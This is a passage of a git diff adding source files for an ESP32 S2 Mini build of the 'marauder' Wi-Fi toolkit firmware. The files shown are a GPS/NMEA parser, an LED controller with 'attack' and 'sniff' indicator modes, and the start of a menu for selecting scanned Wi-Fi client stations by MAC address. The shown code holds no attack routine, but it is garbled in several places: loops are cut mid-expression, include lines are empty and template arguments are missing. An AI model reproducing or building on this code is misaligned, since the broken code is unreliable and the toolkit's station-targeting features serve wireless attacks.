+ void main(uint8_t scan_mode);
+ void setHtmlFromSerial();
+
+};
+
+#endif
\ No newline at end of file
diff --git a/S2Mini_esp32_v1.0.0_marauder/GpsInterface.cpp b/S2Mini_esp32_v1.0.0_marauder/GpsInterface.cpp
new file mode 100644
index 0000000..370c37f
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/GpsInterface.cpp
@@ -0,0 +1,672 @@
+#include "GpsInterface.h"
+
+#ifdef HAS_GPS
+
+extern GpsInterface gps_obj;
+
+char nmeaBuffer[100];
+
+MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
+
+HardwareSerial Serial2(GPS_SERIAL_INDEX);
+
+void GpsInterface::begin() {
+
+ /*#ifdef MARAUDER_MINI
+ pinMode(26, OUTPUT);
+
+ delay(1);
+
+ analogWrite(26, 243);
+ delay(1);
+
+ Serial.println("Activated GPS");
+ delay(100);
+ #endif*/
+
+
+ Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
+
+ MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
+ MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
+
+ MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
+
+ delay(3900);
+
+ if (Serial2.available()) {
+ Serial.println("GPS Attached Successfully");
+ this->gps_enabled = true;
+ while (Serial2.available()) {
+ //Fetch the character one by one
+ char c = Serial2.read();
+ //Serial.print(c);
+ //Pass the character to the library
+ nmea.process(c);
+ }
+ }
+ else {
+ this->gps_enabled = false;
+ Serial.println("GPS Not Found");
+ }
+
+
+ this->type_flag=GPSTYPE_NATIVE; //enforce default
+ this->disable_queue(); //init the queue, disabled, kill NULLs
+
+ nmea.setUnknownSentenceHandler(gps_nmea_notimp);
+
+}
+
+//passthrough for other objects
+void gps_nmea_notimp(MicroNMEA& nmea){
+ gps_obj.enqueue(nmea);
+}
+
+void GpsInterface::enqueue(MicroNMEA& nmea){
+ std::string nmea_sentence = std::string(nmea.getSentence());
+
+ if(nmea_sentence.length()){
+ this->notimp_nmea_sentence = nmea_sentence.c_str();
+
+ bool unparsed=1;
+ bool enqueue=1;
+
+ char system=nmea.getTalkerID();
+ String msg_id=nmea.getMessageID();
+ int length=nmea_sentence.length();
+
+ if(length>0&&length<256){
+ if(system){
+ if(msg_id=="TXT"){
+ if(length>8){
+ std::string content=nmea_sentence.substr(7,std::string::npos);
+
+ int tot_brk=content.find(',');
+ int num_brk=content.find(',',tot_brk+1);
+ int txt_brk=content.find(',',num_brk+1);
+ int chk_brk=content.rfind('*');
+
+ if(tot_brk!=std::string::npos && num_brk!=std::string::npos && txt_brk!=std::string::npos && chk_brk!=std::string::npos
+ && chk_brk>txt_brk && txt_brk>num_brk && num_brk>tot_brk && tot_brk>=0){
+ std::string total_str=content.substr(0,tot_brk);
+ std::string num_str=content.substr(tot_brk+1,num_brk-tot_brk-1);
+ std::string type_str=content.substr(num_brk+1,txt_brk-num_brk-1);
+ std::string text_str=content.substr(txt_brk+1,chk_brk-txt_brk-1);
+ std::string checksum=content.substr(chk_brk+1,std::string::npos);
+
+ int total=0;
+ if(total_str.length()) total=atoi(total_str.c_str());
+
+ int num=0;
+ if(num_str.length()) num=atoi(num_str.c_str());
+
+ int type=0;
+ if(type_str.length()) type=atoi(type_str.c_str());
+
+ if(text_str.length() && checksum.length()){
+ String text=text_str.c_str();
+ if(type>1){
+ char type_cstr[4];
+ snprintf(type_cstr, 4, "%02d ", type);
+ type_cstr[3]='\0';
+ text=type_cstr+text;
+ }
+
+ if((num<=1||total<=1) && this->queue_enabled_flag){
+ if(this->text){
+ if(this->text_in){
+ int size=text_in->size();
+ if(size){
+ #ifdef GPS_TEXT_MAXCYCLES
+ if(this->text_cycles>=GPS_TEXT_MAXCYCLES){
+ #else
+ if(this->text_cycles){
+ #endif
+ if(this->text->size()){
+ LinkedList *delme=this->text;
+ this->text=new LinkedList;
+ delete delme;
+ this->text_cycles=0;
+ }
+ }
+
+ for(int i=0;itext->add(this->text_in->get(i));
+ }
+ LinkedList *delme=this->text_in;
+ this->text_in=new LinkedList;
+ delete delme;
+ this->text_cycles++;
+
+ this->gps_text=text;
+ }
+ }
+ else
+ this->text_in=new LinkedList;
+ }
+ else{
+ if(this->text_in){
+ this->text_cycles=0;
+ this->text=this->text_in;
+ if(this->text->size()){
+ if(this->gps_text=="") this->gps_text=this->text->get(0);
+ this->text_cycles++;
+ }
+ this->text_in=new LinkedList;
+ }
+ else {
+ this->text_cycles=0;
+ this->text=new LinkedList;
+ this->text_in=new LinkedList;
+ }
+ }
+
+ this->text_in->add(text);
+ }
+ else if(this->queue_enabled_flag){
+ if(!this->text_in) this->text_in=new LinkedList;
+ this->text_in->add(text);
+ int size=this->text_in->size();
+
+ #ifdef GPS_TEXT_MAXLINES
+ if(size>=GPS_TEXT_MAXLINES){
+ #else
+ if(size>=5){
+ #endif
+ #ifdef GPS_TEXT_MAXCYCLES
+ if(this->text_cycles>=GPS_TEXT_MAXCYCLES){
+ #else
+ if(this->text_cycles){
+ #endif
+ if(this->text->size()){
+ LinkedList *delme=this->text;
+ this->text=new LinkedList;
+ delete delme;
+ this->text_cycles=0;
+ }
+ }
+
+ for(int i=0;itext->add(this->text_in->get(i));
+
+ LinkedList *delme=this->text_in;
+ this->text_in=new LinkedList;
+ delete delme;
+ this->text_cycles++;
+ }
+ }
+ else
+ if(num<=1||total<=1) this->gps_text=text;
+
+ if(this->gps_text=="") this->gps_text=text;
+ unparsed=0;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if(unparsed)
+ this->notparsed_nmea_sentence = nmea_sentence.c_str();
+
+ if(this->queue_enabled_flag){
+ if(enqueue){
+ nmea_sentence_t line = { unparsed, msg_id, nmea_sentence.c_str() };
+
+ if(this->queue){
+ #ifdef GPS_NMEA_MAXQUEUE
+ if(this->queue->size()>=GPS_NMEA_MAXQUEUE)
+ #else
+ if(this->queue->size()>=30)
+ #endif
+ this->flush_queue();
+ }
+ else
+ this->new_queue();
+
+ this->queue->add(line);
+ }
+ else
+ if(!this->queue)
+ this->new_queue();
+ }
+ else
+ this->flush_queue();
+ }
+ else
+ if(!this->queue_enabled_flag)
+ this->flush_queue();
+}
+
+void GpsInterface::enable_queue(){
+ if(this->queue_enabled_flag){
+ if(!this->queue)
+ this->new_queue();
+ if(!this->text)
+ this->text=new LinkedList;
+ if(!this->text_in)
+ this->text_in=new LinkedList;
+ }
+ else {
+ this->flush_queue();
+ this->queue_enabled_flag=1;
+ }
+}
+
+void GpsInterface::disable_queue(){
+ this->queue_enabled_flag=0;
+ this->flush_queue();
+}
+
+bool GpsInterface::queue_enabled(){
+ return this->queue_enabled_flag;
+}
+
+LinkedList* GpsInterface::get_queue(){
+ return this->queue;
+}
+
+void GpsInterface::new_queue(){
+ this->queue=new LinkedList;
+}
+
+void GpsInterface::flush_queue(){
+ this->flush_queue_nmea();
+ this->flush_text();
+}
+
+void GpsInterface::flush_queue_nmea(){
+ if(this->queue){
+ if(this->queue->size()){
+ LinkedList *delme=this->queue;
+ this->new_queue();
+ delete delme;
+ }
+ }
+ else
+ this->new_queue();
+}
+
+void GpsInterface::flush_text(){
+ this->flush_queue_text();
+ this->flush_queue_textin();
+}
+
+void GpsInterface::flush_queue_text(){
+ this->text_cycles=0;
+
+ if(this->text){
+ if(this->text->size()){
+ LinkedList *delme=this->text;
+ this->text=new LinkedList;
+ delete delme;
+ }
+ }
+ else
+ this->text=new LinkedList;
+}
+
+void GpsInterface::flush_queue_textin(){
+ if(this->text_in){
+ if(this->text_in->size()){
+ LinkedList *delme=this->text_in;
+ this->text_in=new LinkedList;
+ delete delme;
+ }
+ }
+ else
+ this->text_in=new LinkedList;
+}
+
+void GpsInterface::sendSentence(const char* sentence){
+ MicroNMEA::sendSentence(Serial2, sentence);
+}
+
+void GpsInterface::sendSentence(Stream &s, const char* sentence){
+ MicroNMEA::sendSentence(s, sentence);
+}
+
+void GpsInterface::setType(String t){
+ if(t == "native")
+ this->type_flag=GPSTYPE_NATIVE;
+ else if(t == "gps")
+ this->type_flag=GPSTYPE_GPS;
+ else if(t == "glonass")
+ this->type_flag=GPSTYPE_GLONASS;
+ else if(t == "galileo")
+ this->type_flag=GPSTYPE_GALILEO;
+ else if(t == "navic")
+ this->type_flag=GPSTYPE_NAVIC;
+ else if(t == "qzss")
+ this->type_flag=GPSTYPE_QZSS;
+ else if(t == "beidou")
+ this->type_flag=GPSTYPE_BEIDOU;
+ else if(t == "beidou_bd")
+ this->type_flag=GPSTYPE_BEIDOU_BD;
+ else
+ this->type_flag=GPSTYPE_ALL;
+}
+
+String GpsInterface::generateGXgga(){
+ String msg_type="$"+this->generateType()+"GGA,";
+
+ char timeStr[8];
+ snprintf(timeStr, 8, "%02d%02d%02d,", (int)(nmea.getHour()), (int)(nmea.getMinute()), (int)(nmea.getSecond()));
+
+ long lat = nmea.getLatitude();
+ char latDir = lat < 0 ? 'S' : 'N';
+ lat = abs(lat);
+ char latStr[12];
+ snprintf(latStr, 12, "%02ld%08.5f,", lat / 1000000, ((lat % 1000000)*60) / 1000000.0);
+
+ long lon = nmea.getLongitude();
+ char lonDir = lon < 0 ? 'W' : 'E';
+ lon = abs(lon);
+ char lonStr[13];
+ snprintf(lonStr, 13, "%03ld%08.5f,", lon / 1000000, ((lon % 1000000)*60) / 1000000.0);
+
+ int fixQuality = nmea.isValid() ? 1 : 0;
+ char fixStr[3];
+ snprintf(fixStr, 3, "%01d,", fixQuality);
+
+ int numSatellites = nmea.getNumSatellites();
+ char satStr[4];
+ snprintf(satStr, 4, "%02d,", numSatellites);
+
+ unsigned long hdop = nmea.getHDOP();
+ char hdopStr[13];
+ snprintf(hdopStr, 13, "%01.2f,", 2.5 * (((float)(hdop))/10));
+
+ long altitude;
+ if(!nmea.getAltitude(altitude)) altitude=0;
+ char altStr[9];
+ snprintf(altStr, 9, "%01.1f,", altitude/1000.0);
+
+ String message = msg_type + timeStr + latStr + latDir + ',' + lonStr + lonDir +
+ ',' + fixStr + satStr + hdopStr + altStr + "M,,M,,";
+
+ return message;
+}
+
+String GpsInterface::generateGXrmc(){
+ String msg_type="$"+this->generateType()+"RMC,";
+
+ char timeStr[8];
+ snprintf(timeStr, 8, "%02d%02d%02d,", (int)(nmea.getHour()), (int)(nmea.getMinute()), (int)(nmea.getSecond()));
+
+ char dateStr[8];
+ snprintf(dateStr, 8, "%02d%02d%02d,", (int)(nmea.getDay()), (int)(nmea.getMonth()), (int)(nmea.getYear()%100));
+
+ char status = nmea.isValid() ? 'A' : 'V';
+ char mode = nmea.isValid() ? 'A' : 'N';
+
+ long lat = nmea.getLatitude();
+ char latDir = lat < 0 ? 'S' : 'N';
+ lat = abs(lat);
+ char latStr[12];
+ snprintf(latStr, 12, "%02ld%08.5f,", lat / 1000000, ((lat % 1000000)*60) / 1000000.0);
+
+ long lon = nmea.getLongitude();
+ char lonDir = lon < 0 ? 'W' : 'E';
+ lon = abs(lon);
+ char lonStr[13];
+ snprintf(lonStr, 13, "%03ld%08.5f,", lon / 1000000, ((lon % 1000000)*60) / 1000000.0);
+
+ char speedStr[8];
+ snprintf(speedStr, 8, "%01.1f,", nmea.getSpeed() / 1000.0);
+
+ char courseStr[7];
+ snprintf(courseStr, 7, "%01.1f,", nmea.getCourse() / 1000.0);
+
+ String message = msg_type + timeStr + status + ',' + latStr + latDir + ',' +
+ lonStr + lonDir + ',' + speedStr + courseStr + dateStr + ',' + ',' + mode;
+ return message;
+}
+
+String GpsInterface::generateType(){
+ String msg_type="";
+
+ if(this->type_flag<8) //8=BeiDou in BD mode
+ msg_type+='G';
+
+ if(this->type_flag == GPSTYPE_NATIVE){ //type_flag=0
+ char system=this->nav_system;
+ if(system)
+ msg_type+=system;
+ else
+ msg_type+='N';
+ }
+ else if(this->type_flag == GPSTYPE_GPS) //type_flag=2
+ msg_type+='P';
+ else if(this->type_flag == GPSTYPE_GLONASS) //type_flag=3
+ msg_type+='L';
+ else if(this->type_flag == GPSTYPE_GALILEO) //type_flag=4
+ msg_type+='A';
+ else if(this->type_flag == GPSTYPE_NAVIC) //type_flag=5
+ msg_type+='I';
+ else if(this->type_flag == GPSTYPE_QZSS) //type_flag=6
+ msg_type+='Q';
+ else if(this->type_flag == GPSTYPE_BEIDOU) //type_flag=7
+ msg_type+='B';
+ else if(this->type_flag == GPSTYPE_BEIDOU_BD){ //type_flag=8
+ msg_type+='B';
+ msg_type+='D';
+ }
+ else{ //type_flag=1=all ... also default if unset/wrong (obj default is type_flag=0=native)
+ if(this->type_flag>=8) //catch uncaught first char, assume G if not already output
+ msg_type+='G';
+ msg_type+='N';
+ }
+
+ return msg_type;
+}
+
+// Thanks JosephHewitt
+String GpsInterface::dt_string_from_gps(){
+ //Return a datetime String using GPS data only.
+ String datetime = "";
+ if (nmea.isValid() && nmea.getYear() > 0){
+ datetime += nmea.getYear();
+ datetime += "-";
+ datetime += nmea.getMonth();
+ datetime += "-";
+ datetime += nmea.getDay();
+ datetime += " ";
+ datetime += nmea.getHour();
+ datetime += ":";
+ datetime += nmea.getMinute();
+ datetime += ":";
+ datetime += nmea.getSecond();
+ }
+ return datetime;
+}
+
+void GpsInterface::setGPSInfo() {
+ String nmea_sentence = String(nmea.getSentence());
+ if(nmea_sentence != "") this->nmea_sentence = nmea_sentence;
+
+ this->good_fix = nmea.isValid();
+ this->nav_system = nmea.getNavSystem();
+ this->num_sats = nmea.getNumSatellites();
+
+ this->datetime = this->dt_string_from_gps();
+
+ this->lat = String((float)nmea.getLatitude()/1000000, 7);
+ this->lon = String((float)nmea.getLongitude()/1000000, 7);
+ long alt = 0;
+ if (!nmea.getAltitude(alt)){
+ alt = 0;
+ }
+ this->altf = (float)alt / 1000;
+
+ this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
+
+ //nmea.clear();
+}
+
+float GpsInterface::getAccuracy() {
+ return this->accuracy;
+}
+
+String GpsInterface::getLat() {
+ return this->lat;
+}
+
+String GpsInterface::getLon() {
+ return this->lon;
+}
+
+float GpsInterface::getAlt() {
+ return this->altf;
+}
+
+String GpsInterface::getDatetime() {
+ return this->datetime;
+}
+
+String GpsInterface::getNumSatsString() {
+ return (String)num_sats;
+}
+
+int GpsInterface::getNumSats() {
+ return num_sats;
+}
+
+bool GpsInterface::getFixStatus() {
+ return this->good_fix;
+}
+
+String GpsInterface::getFixStatusAsString() {
+ if (this->getFixStatus())
+ return "Yes";
+ else
+ return "No";
+}
+
+bool GpsInterface::getGpsModuleStatus() {
+ return this->gps_enabled;
+}
+
+String GpsInterface::getText() {
+ return this->gps_text;
+}
+
+int GpsInterface::getTextQueueSize() {
+ if(this->queue_enabled_flag){
+ bool exists=0;
+ if(this->text){
+ int size=this->text->size();
+ if(size) return size;
+ exists=1;
+ }
+ if(this->text_in){
+ int size=this->text_in->size();
+ if(size) return size;
+ exists=1;
+ }
+ if(exists)
+ return 0;
+ else
+ return -2;
+ }
+ else
+ return -1;
+}
+
+String GpsInterface::getTextQueue(bool flush) {
+ if(this->queue_enabled_flag){
+ if(this->text){
+ int size=this->text->size();
+ if(size){
+ String text;
+ for(int i=0;itext_in->get(i);
+ if(now!=""){
+ if(text!=""){
+ text+='\r';
+ text+='\n';
+ }
+ text+=now;
+ }
+ }
+ if(flush){
+ LinkedList *delme=this->text;
+ this->text_cycles=0;
+ this->text=this->text_in;
+ if(!this->text) this->text=new LinkedList;
+ if(this->text->size()) this->text_cycles++;
+ this->text_in=new LinkedList;
+ delete delme;
+ }
+ return text;
+ }
+ }
+ else{
+ this->text=new LinkedList;
+ this->text_cycles=0;
+ }
+
+ if(this->text_in){
+ int size=this->text_in->size();
+ if(size){
+ LinkedList *buffer=this->text_in;
+ if(flush)
+ this->text_in=new LinkedList;
+ String text;
+ for(int i=0;iget(i);
+ if(now!=""){
+ if(text!=""){
+ text+='\r';
+ text+='\n';
+ }
+ text+=now;
+ }
+ }
+ if(flush)
+ delete buffer;
+ return text;
+ }
+ }
+ else
+ this->text_in=new LinkedList;
+
+ return this->gps_text;
+ }
+ else
+ return this->gps_text;
+}
+
+String GpsInterface::getNmea() {
+ return this->nmea_sentence;
+}
+
+String GpsInterface::getNmeaNotimp() {
+ return this->notimp_nmea_sentence;
+}
+
+String GpsInterface::getNmeaNotparsed() {
+ return this->notparsed_nmea_sentence;
+}
+
+void GpsInterface::main() {
+ while (Serial2.available()) {
+ //Fetch the character one by one
+ char c = Serial2.read();
+ //Serial.print(c);
+ //Pass the character to the library
+ nmea.process(c);
+ }
+
+ uint8_t num_sat = nmea.getNumSatellites();
+
+ if ((nmea.isValid()) && (num_sat > 0))
+ this->setGPSInfo();
+
+ else if ((!nmea.isValid()) && (num_sat <= 0)) {
+ this->setGPSInfo();
+ }
+}
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/GpsInterface.h b/S2Mini_esp32_v1.0.0_marauder/GpsInterface.h
new file mode 100644
index 0000000..27640ce
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/GpsInterface.h
@@ -0,0 +1,122 @@
+#pragma once
+
+#ifndef GpsInterface_h
+#define GpsInterface_h
+
+#include
+#include
+#include
+
+#include "configs.h"
+
+//#define GPS_TEXT_MAXLINES 5 //default:5 lines in the buffer maximum
+//#define GPS_TEXT_MAXCYCLES 1 //default:1
+
+//#define GPS_NMEA_SCRNLINES TEXT_HEIGHT //default: defined TEXT_HEIGHT from configs.h
+//#define GPS_NMEA_SCRNWRAP true //default:true, except on MARAUDER_MINI where false
+//#define GPS_NMEA_MAXQUEUE 30 //default:30 messages max in queue
+
+#ifdef MARAUDER_MINI
+ #ifndef GPS_NMEA_SCRNWRAP
+ #define GPS_NMEA_SCRNWRAP false
+ #endif
+#else
+ #ifndef GPS_NMEA_SCRNWRAP
+ #define GPS_NMEA_SCRNWRAP true
+ #endif
+#endif
+
+struct nmea_sentence_t {
+ bool unparsed;
+ String type;
+ String sentence;
+};
+
+void gps_nmea_notimp(MicroNMEA& nmea);
+
+class GpsInterface {
+ public:
+ void begin();
+ void main();
+
+ int getNumSats();
+ String getNumSatsString();
+ bool getFixStatus();
+ String getFixStatusAsString();
+ bool getGpsModuleStatus();
+ String getLat();
+ String getLon();
+ float getAlt();
+ float getAccuracy();
+ String getDatetime();
+ String getText();
+ int getTextQueueSize();
+ String getTextQueue(bool flush=1);
+ String getNmea();
+ String getNmeaNotimp();
+ String getNmeaNotparsed();
+
+ void setType(String t);
+
+ void enqueue(MicroNMEA& nmea);
+ LinkedList* get_queue();
+ void flush_queue();
+ void flush_text();
+ void new_queue();
+ void enable_queue();
+ void disable_queue();
+ bool queue_enabled();
+
+ void sendSentence(const char* sentence);
+ void sendSentence(Stream &s, const char* sentence);
+
+ String generateGXgga();
+ String generateGXrmc();
+
+ private:
+ enum type_t {
+ GPSTYPE_NATIVE = 0,
+ GPSTYPE_ALL = 1,
+ GPSTYPE_GPS = 2,
+ GPSTYPE_GLONASS = 3,
+ GPSTYPE_GALILEO = 4,
+ GPSTYPE_NAVIC = 5,
+ GPSTYPE_QZSS = 6,
+ GPSTYPE_BEIDOU = 7,
+ GPSTYPE_BEIDOU_BD = 8
+ };
+
+ // GPS Info
+ String gps_text = "";
+ String nmea_sentence = "";
+ String notimp_nmea_sentence = "";
+ String notparsed_nmea_sentence = "";
+ String lat = "";
+ String lon = "";
+ float altf = 0.0;
+ float accuracy = 0.0;
+ String datetime = "";
+
+ bool gps_enabled = false;
+ bool good_fix = false;
+ char nav_system='\0';
+ uint8_t num_sats = 0;
+
+ type_t type_flag = GPSTYPE_NATIVE;
+
+ bool queue_enabled_flag=0;
+ LinkedList *queue=NULL;
+
+ unsigned int text_cycles=0;
+ LinkedList *text_in=NULL;
+ LinkedList *text=NULL;
+
+ String generateType();
+ void flush_queue_text();
+ void flush_queue_textin();
+ void flush_queue_nmea();
+ String dt_string_from_gps();
+ void setGPSInfo();
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/LedInterface.cpp b/S2Mini_esp32_v1.0.0_marauder/LedInterface.cpp
new file mode 100644
index 0000000..be97b66
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/LedInterface.cpp
@@ -0,0 +1,91 @@
+#include "LedInterface.h"
+
+LedInterface::LedInterface() {
+
+}
+
+void LedInterface::RunSetup() {
+ //Serial.println("Setting neopixel to black...");
+ strip.setBrightness(0);
+ strip.begin();
+ strip.setPixelColor(0, strip.Color(0, 0, 0));
+ strip.show();
+ delay(100);
+ strip.setBrightness(50);
+ strip.setPixelColor(0, strip.Color(0, 0, 0));
+ strip.show();
+ this->initTime = millis();
+}
+
+void LedInterface::main(uint32_t currentTime) {
+ if ((!settings_obj.loadSetting("EnableLED")) ||
+ (this->current_mode == MODE_OFF)) {
+ this->ledOff();
+ return;
+ }
+
+ else if (this->current_mode == MODE_RAINBOW) {
+ this->rainbow();
+ }
+ else if (this->current_mode == MODE_ATTACK) {
+ this->attackLed();
+ }
+ else if (this->current_mode == MODE_SNIFF) {
+ this->sniffLed();
+ }
+ else if (this->current_mode == MODE_CUSTOM) {
+ return;
+ }
+ else {
+ this->ledOff();
+ }
+};
+
+void LedInterface::setMode(uint8_t new_mode) {
+ this->current_mode = new_mode;
+}
+
+uint8_t LedInterface::getMode() {
+ return this->current_mode;
+}
+
+void LedInterface::setColor(int r, int g, int b) {
+ strip.setPixelColor(0, strip.Color(r, g, b));
+ strip.show();
+}
+
+void LedInterface::sniffLed() {
+ this->setColor(0, 0, 255);
+}
+
+void LedInterface::attackLed() {
+ this->setColor(255, 0, 0);
+}
+
+void LedInterface::ledOff() {
+ this->setColor(0, 0, 0);
+}
+
+void LedInterface::rainbow() {
+ strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
+ strip.show();
+
+ this->current_fade_itter++;
+
+ this->wheel_pos = this->wheel_pos - this->wheel_speed;
+ if (this->wheel_pos < 0)
+ this->wheel_pos = 255;
+}
+
+uint32_t LedInterface::Wheel(byte WheelPos) {
+ WheelPos = 255 - WheelPos;
+ if(WheelPos < 85) {
+ return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
+ }
+ if(WheelPos < 170) {
+ WheelPos -= 85;
+ return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
+ }
+ WheelPos -= 170;
+ return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
+}
\ No newline at end of file
diff --git a/S2Mini_esp32_v1.0.0_marauder/LedInterface.h b/S2Mini_esp32_v1.0.0_marauder/LedInterface.h
new file mode 100644
index 0000000..7ce0878
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/LedInterface.h
@@ -0,0 +1,53 @@
+#pragma once
+
+#ifndef LedInterface_h
+#define LedInterface_h
+
+#include "configs.h"
+#include "settings.h"
+#include
+#include
+
+#define Pixels 1
+
+#define MODE_OFF 0
+#define MODE_RAINBOW 1
+#define MODE_ATTACK 2
+#define MODE_SNIFF 3
+#define MODE_CUSTOM 4
+
+extern Settings settings_obj;
+extern Adafruit_NeoPixel strip;
+
+class LedInterface {
+
+ private:
+ uint32_t initTime = 0;
+
+ int current_fade_itter = 1;
+ int wheel_pos = 255;
+ int wheel_speed = 1; // lower = slower
+
+ uint32_t Wheel(byte WheelPos);
+
+ uint8_t current_mode = MODE_OFF;
+
+ void rainbow();
+ void ledOff();
+ void attackLed();
+ void sniffLed();
+
+ public:
+ LedInterface();
+
+ void RunSetup();
+ void main(uint32_t currentTime);
+
+ void setMode(uint8_t);
+ void setColor(int r, int g, int b);
+ uint8_t getMode();
+
+
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/MenuFunctions.cpp b/S2Mini_esp32_v1.0.0_marauder/MenuFunctions.cpp
new file mode 100644
index 0000000..e92ad45
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/MenuFunctions.cpp
@@ -0,0 +1,2398 @@
+#include "MenuFunctions.h"
+#include "lang_var.h"
+//#include "icons.h"
+
+#ifdef HAS_SCREEN
+
+extern const unsigned char menu_icons[][66];
+PROGMEM lv_obj_t * slider_label;
+PROGMEM lv_obj_t * ta1;
+PROGMEM lv_obj_t * ta2;
+PROGMEM lv_obj_t * save_name;
+
+MenuFunctions::MenuFunctions()
+{
+}
+
+// LVGL Stuff
+/* Interrupt driven periodic handler */
+
+#ifdef HAS_ILI9341
+ uint8_t MenuFunctions::updateTouch(uint16_t *x, uint16_t *y, uint16_t threshold) {
+ if (!display_obj.headless_mode)
+ return display_obj.tft.getTouch(x, y, threshold);
+ else
+ return !display_obj.headless_mode;
+ }
+
+ void MenuFunctions::lv_tick_handler()
+ {
+ lv_tick_inc(LVGL_TICK_PERIOD);
+ }
+
+ /* Display flushing */
+ void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p)
+ {
+ extern Display display_obj;
+ uint16_t c;
+
+ display_obj.tft.startWrite();
+ display_obj.tft.setAddrWindow(area->x1, area->y1, (area->x2 - area->x1 + 1), (area->y2 - area->y1 + 1));
+ for (int y = area->y1; y <= area->y2; y++) {
+ for (int x = area->x1; x <= area->x2; x++) {
+ c = color_p->full;
+ display_obj.tft.writeColor(c, 1);
+ color_p++;
+ }
+ }
+ display_obj.tft.endWrite();
+ lv_disp_flush_ready(disp);
+ }
+
+
+ bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data)
+ {
+ extern Display display_obj;
+
+ uint16_t touchX, touchY;
+
+ bool touched = display_obj.tft.getTouch(&touchX, &touchY, 600);
+
+ if(!touched)
+ {
+ return false;
+ }
+
+ if(touchX>WIDTH_1 || touchY > HEIGHT_1)
+ {
+ Serial.println("Y or y outside of expected parameters..");
+ Serial.print("y:");
+ Serial.print(touchX);
+ Serial.print(" x:");
+ Serial.print(touchY);
+ }
+ else
+ {
+
+ data->state = touched ? LV_INDEV_STATE_PR : LV_INDEV_STATE_REL;
+
+ data->point.x = touchX;
+ data->point.y = touchY;
+
+ }
+
+ return false;
+ }
+
+ void MenuFunctions::initLVGL() {
+ tick.attach_ms(LVGL_TICK_PERIOD, lv_tick_handler);
+
+ lv_init();
+
+ lv_disp_buf_init(&disp_buf, buf, NULL, LV_HOR_RES_MAX * 10);
+
+ lv_disp_drv_t disp_drv;
+ lv_disp_drv_init(&disp_drv);
+ disp_drv.hor_res = WIDTH_1;
+ disp_drv.ver_res = HEIGHT_1;
+ disp_drv.flush_cb = my_disp_flush;
+ disp_drv.buffer = &disp_buf;
+ lv_disp_drv_register(&disp_drv);
+
+ lv_indev_drv_t indev_drv;
+ lv_indev_drv_init(&indev_drv);
+ indev_drv.type = LV_INDEV_TYPE_POINTER;
+ indev_drv.read_cb = my_touchpad_read;
+ lv_indev_drv_register(&indev_drv);
+ }
+
+
+ void MenuFunctions::deinitLVGL() {
+ Serial.println(F("Deinit LVGL"));
+ //lv_deinit();
+ }
+
+
+ // Event handler for settings drop down menus
+ void setting_dropdown_cb(lv_obj_t * obj, lv_event_t event) {
+
+ }
+
+ // GFX Function to build a list showing all Stations scanned
+ void MenuFunctions::addStationGFX(){
+ extern LinkedList* stations;
+ extern LinkedList* access_points;
+ extern WiFiScan wifi_scan_obj;
+
+ lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+ lv_obj_set_size(list1, 160, 200);
+ lv_obj_set_width(list1, LV_HOR_RES);
+ lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+
+ lv_obj_t * list_btn;
+
+ lv_obj_t * label;
+
+ list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
+ lv_obj_set_event_cb(list_btn, station_list_cb);
+
+ char addr[] = "00:00:00:00:00:00";
+ for (int x = 0; x < access_points->size(); x++) {
+ AccessPoint cur_ap = access_points->get(x);
+
+ // Add non clickable button for AP
+ String full_label = "AP: " + cur_ap.essid;
+ char buf[full_label.length() + 1] = {};
+ full_label.toCharArray(buf, full_label.length() + 1);
+ list_btn = lv_list_add_btn(list1, NULL, buf);
+ lv_btn_set_checkable(list_btn, false);
+
+ int cur_ap_sta_len = access_points->get(x).stations->size();
+ for (int y = 0; y < cur_ap_sta_len; y++) {
+ Station cur_sta = stations->get(cur_ap.stations->get(y));
+ // Convert uint8_t MAC to char array
+ wifi_scan_obj.getMAC(addr, cur_sta.mac, 0);
+
+ list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, addr);
+ lv_btn_set_checkable(list_btn, true);
+ lv_obj_set_event_cb(list_btn, station_list_cb);
+
+ if (cur_sta.selected)
+ lv_btn_toggle(list_btn);
+ }
+ }
+ }
+
+ // Function to work with list of Stations
+ void station_list_cb(lv_obj_t * btn, lv_event_t event) {
+ extern LinkedList* stations;
+ extern MenuFunctions menu_function_obj;
+ extern WiFiScan wifi_scan_obj;
+
+ String btn_text = lv_list_get_btn_text(btn);
+ String display_string = "";
+ char addr[] = "00:00:00:00:00:00";
+
+ if (event == LV_EVENT_CLICKED) {
+ if (btn_text != text09) {
+ }
+ else {
+ Serial.println("Exiting...");
+ lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+
+ for (int i = 0; i < stations->size(); i++) {
+ if (stations->get(i).selected) {
+ wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0);
+ Serial.print("Selected: ");
+ Serial.println(addr);
+ }
+ }
+
+ printf("LV_EVENT_CANCEL\n");
+ menu_function_obj.deinitLVGL();
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+ display_obj.exit_draw = true; // set everything back to normal
+ }
+ }
+
+ if (event == LV_EVENT_VALUE_CHANGED) {
+ if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
